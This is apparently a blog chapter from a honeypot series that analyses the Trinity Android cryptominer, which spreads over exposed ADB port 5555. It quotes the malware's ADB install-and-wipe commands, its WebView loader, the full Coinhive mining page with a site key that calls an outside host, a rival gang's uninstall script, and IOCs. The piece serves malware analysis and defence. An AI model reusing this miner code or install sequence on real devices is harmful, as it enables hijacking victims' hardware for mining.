ES EN
Index

Trinity · Chapter 10

A miner that got a bit lost

Another APK came in through the debug cable, but this one weighs fifteen times less than the last and doesn't carry a single line of native code. I opened it expecting something mediocre. What I found was a 2018 fossil still infecting phones to mine for a company that shut down seven years ago — and which today, without knowing it, warns its own victims.

The honeypot has forty doors open, and 5555 —Android's debugging port— is one of the busiest. It already brought us Sysorbit in Chapters 7 and 8. This time it brought something else, and the first clue that it was different came from the scales.

Sysorbit's APK weighed 707 KB, with four native libraries inside. This one weighs 46 KB. Fifteen times less. And when I opened it, the entire Java code came to five kilobytes and there wasn't a single byte of native code.

I thought I'd drawn a poor devil. And in a way I had — but the story behind it is the best the honeypot has given me yet.

01The catch

Fifteen seconds start to finish. Not one wasted word:

  1. 0spm path com.ufo.miner — asks whether it's already installed. If it were, it would leave without bothering.
  2. 8sInstalls /data/local/tmp/ufo.apk. That's the sample I captured.
  3. 9sDeletes the file. The footprint lasts one second.
  4. 10sLaunches the app: am start -n com.ufo.miner/com.example.test.MainActivity
  5. 13sps | grep trinity — looks for something called trinity. That name turned out to be the key to the whole story.
  6. 15srm -rf /data/local/tmp/* and goodbye.
That com.example.test is not a minor slipWhen you create a new project in Android Studio, the IDE suggests a default package name for you to change. It's the equivalent of a document called "Untitled document 1". This gentleman didn't change it. His malware, which has been going round the internet for eight years, is called "example, test" on the inside.

02Five kilobytes and a web page

There's almost nothing inside the APK: an icon, a couple of resource files, five kilobytes of code and —this did catch my eye— a loose file called run.html. A web page, inside an application.

The Java code, in its entirety, does this:

MainActivity · the whole program
WebView webView = ...
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("file:///android_asset/run.html");

That is: it opens an invisible browser and loads a page it carries inside. Nothing else. No connections, no commands, no files. And it asks for only two permissions: internet, and starting up when you switch the phone on.

All the malice, then, has to be in that page. And it's eight lines:

assets/run.html · in full
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{
        threads: 4,
        throttle: 0.8
    });
    miner.start();
</script>

Coinhive. A service that let any website mine cryptocurrency in its visitors' browsers. That thirty-two-character code is the account the money went to.

And then I looked at the date on the APK's files: 1 July 2018.

03The problem with that date

Coinhive was, in its day, a phenomenon. At its peak some 32,000 websites ran it and it turned over between 150,000 and 250,000 dollars a month in Monero —depending on the estimate— of which it kept 30%. It spent fifteen consecutive months as the number one threat in Check Point's index. It turned up on the Los Angeles Times, on government websites, in YouTube ads, on the wifi of a coffee shop in Buenos Aires and on hundreds of thousands of MikroTik routers, starting with Brazil.

And it shut down on 8 March 2019. Monero changed its algorithm, the business stopped adding up, and they closed the doors.

Do the maths with meThis thing walked into my honeypot on 24 August 2026. It has spent eight years infecting other people's phones, burning their battery and their processor, to make money in a business that shut down more than seven years ago. Nobody switched it off. Nobody updated it. It just keeps rolling on its own.

This is where I thought the story ended: a fossil, a joke, a harmless thing going round out of inertia. I went to check the obvious —that the domain was dead— and got the surprise of the day.

04The domain isn't dead

coinhive.com still answers. And not only that: the exact file this thing downloads, /lib/coinhive.min.js, still exists and returns real JavaScript, 1.7 KB of it.

But it isn't the old one. This is what's at that address today:

coinhive.com/lib/coinhive.min.js · today
// Credit to https://w3bits.com/javascript-modal/

window.addEventListener('load', function() {
  let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain…';
  createModal('This website attempted to run a cryptominer in your browser. <a href="' + url + '">Click here for more information</a>.');
  setTimeout(function(){ location.href = url; }, 5000);
});

In May 2020, somebody gave the domain to Troy Hunt —the man behind Have I Been Pwned— for free, on the single condition that he do something useful with it. And what he did was this: instead of mining, the script puts a warning right in the victim's face telling them somebody just tried to mine in their browser, and five seconds later takes them to a page explaining it.

When he wrote it up, in the spring of 2021, the domain was getting three million requests a day from people still infected without knowing it.

Read that again, because it's deliciousThe CoinHive object no longer exists in that file. So the line new CoinHive.Anonymous(...) in our specimen fails with an error and mines absolutely nothing.

What does happen is the other thing: the malware's browser loads the script, and the script does its job. And its job, now, is to draw the warning sign on the screen of that "Test" app nobody opens — whether the victim ever sees it or not.

Seven years have passed and the thing hasn't noticed a thing. It keeps knocking on its old boss's door, and the person who answers now is somebody whose job is to rat it out.

05The specimen

The APK the honeypot captured.

SPECIMEN 005 · APK

Trinity · Android miner over ADB

◈ FOSSIL · DO NOT RUN
Type
signed APK · 46,525 B
Package
com.ufo.miner (activity: com.example.test.MainActivity)
Code
classes.dex of 5,016 B · no native libraries
Built
1 July 2018
Function
WebView + Coinhive (defunct since 2019)
SHA-256
0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257

And the certificate it's signed with deserves a chapter of its own:

signing certificate
Owner : CN=Android, OU=Android, O=Android
        L=Mountain View, ST=California, C=US
        EMAILADDRESS=android@android.com

Valid from: 29 February 2008
Algorithm : SHA1withRSA (weak)
SHA-256   : A4:0D:A8:0A:59:D1:70:CA:A9:50:CF:15:C1:8C:45:4D:
            47:A3:9B:26:98:9D:8B:64:0E:CD:74:5B:A7:1B:F5:DC
You have that key tooIt isn't Google's. It's the test key that ships in the Android source code, public since 2008, which anyone can sign anything with. It's there so developers can test, not to publish.

Compare that with Sysorbit, which invented an entire Spanish company —with its department, its city and its province— to sign its APK. This one used the key that came pre-installed.

06What it actually is

That ps | grep trinity from the capture was the thread. The family is called Trinity, and what landed in my honeypot is only one piece of the kit.

The APK doesn't spread; it's just the miner. The thing that travels and infects is a separate binary called trinity, and it has a feature that makes it hard to kill: it has no command server. None. It makes up internet addresses at random, tries port 5555 blind, and when it finds an open device it pushes the whole kit onto it.

So the one who visited me isn't "the attacker"The connection came from 112.90.220.245, in Shenzhen. But with no central server, that isn't anybody's lair: it's another infected phone or TV, scanning blind, that found me by chance. Its neighbours in the same block —.242, .243, .244, .246, .247— also show up scanning in public records. It's a whole infected neighbourhood.

And it's still active: reputation services flagged it as malicious the same day it visited me.

One note of honesty: the trinity binary never appeared in my capture, only the APK and the check for whether it was already there. What I'm telling you about the part that spreads comes from published analyses, not from my honeypot.

07Eight years going round

A 2018 specimen reaching 2026 could be a fluke — one stray copy on some forgotten device. It isn't, and there are numbers.

An ADB honeypot in Sydney publishes what it catches every month. My same file, with the same exact hash, appears in its reports every month from December 2025 to May 2026. And alongside it, the same companion binaries documented by a 2020 analysis: unchanged in six years. Nobody maintains them. Nobody improves them. They copy themselves, as they are, from device to device.

In May 2026 that honeypot counted 630 distinct addresses handing things out over 5555. The traffic comes mostly from China and South Korea.

A detail that amused meThe first serious analysis of this thing was published by Sophos in February 2019. To catch it they used an ADB honeypot built by Keysight and distributed inside T-Pot — which is, exactly, the same software running on my honeypot. Seven years on, the same software is still landing the same fish.

08Even the fossil had enemies

Digging out that 2019 article —it's offline, it had to be pulled from the internet archive— turned up another piece: a rival script that went round uninstalling this thing. It downloaded its own payload, and finished like this:

the rival gang's script (2019)
# ...after installing its own:
pm uninstall com.ufo.miner
pm uninstall fbot

# and it destroys itself
rm $0

Two competitors evicted in one go, and traces wiped on the way out. It's the same pattern we've seen in RedTail and in Sysorbit: these things fight each other more than they fight us. An infected device is a scarce resource and there's a queue.

09Indicators (IOCs)

TypeValue
APK SHA-2560d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257
MD58844985fcd57b0311d1d4cb2ec13a1ef
Packagecom.ufo.miner · activity com.example.test.MainActivity
Receivercom.example.test.BootBroadcastReceiver (BOOT_COMPLETED)
PermissionsINTERNET · RECEIVE_BOOT_COMPLETED (nothing else)
Coinhive site keyfwW95bBFO91OKUsz1VhlMEQwxmDBz7XE
Certificate fingerprintSHA-256 A4:0D:A8:0A:59:D1:70:CA… (Android's public test key)
Install path/data/local/tmp/ufo.apk
Entry vectorADB · port 5555
IP that brought it112.90.220.245 (Shenzhen, China Unicom) — infected device, not a C2
In the app listshows up as "Test", with no icon in the launcher
How to tell whether you have itIt doesn't hide as well as the others: it shows up in the installed apps list under the name "Test", even though it puts no icon in the launcher. If you have a TV, a set-top box or an old phone with debugging left open and you see an app called "Test" you don't remember installing, there's your answer.

And the underlying fix is the usual one: port 5555 should never face the internet.
Almost all of this table has expiredAlmost everything in that table has expired. The campaign is still alive and in September it landed in the bait again with every name changed: the package is no longer com.ufo.miner but com.google.home.tv, which passes for a Google TV app. The full list is in Chapter 13.

The one thing they didn't touch is com.example.test.MainActivity — the name Android Studio puts there by default and this fellow never changed. Eight years, a complete rotation of indicators, and the slip-up I was laughing at up there is the only one that still works for finding it.

And what stays with me most is the image. A phone somewhere, infected who knows how long ago, opening a window nobody watches and dutifully calling an address to ask for instructions. On the other end there's no boss any more: there's somebody who picked up the keys to the abandoned shop and put up a sign. And the sign, which the thing displays without understanding it, reads: "this website attempted to run a cryptominer in your browser".

After so many chapters cracking encrypted things open with a hammer, it turns out the best ending came from a bug that doesn't know the party's over.

To be continued — the honeypot is still on. When somebody knocks on another door in an interesting way, there'll be an eleventh chapter. 🍯

Comments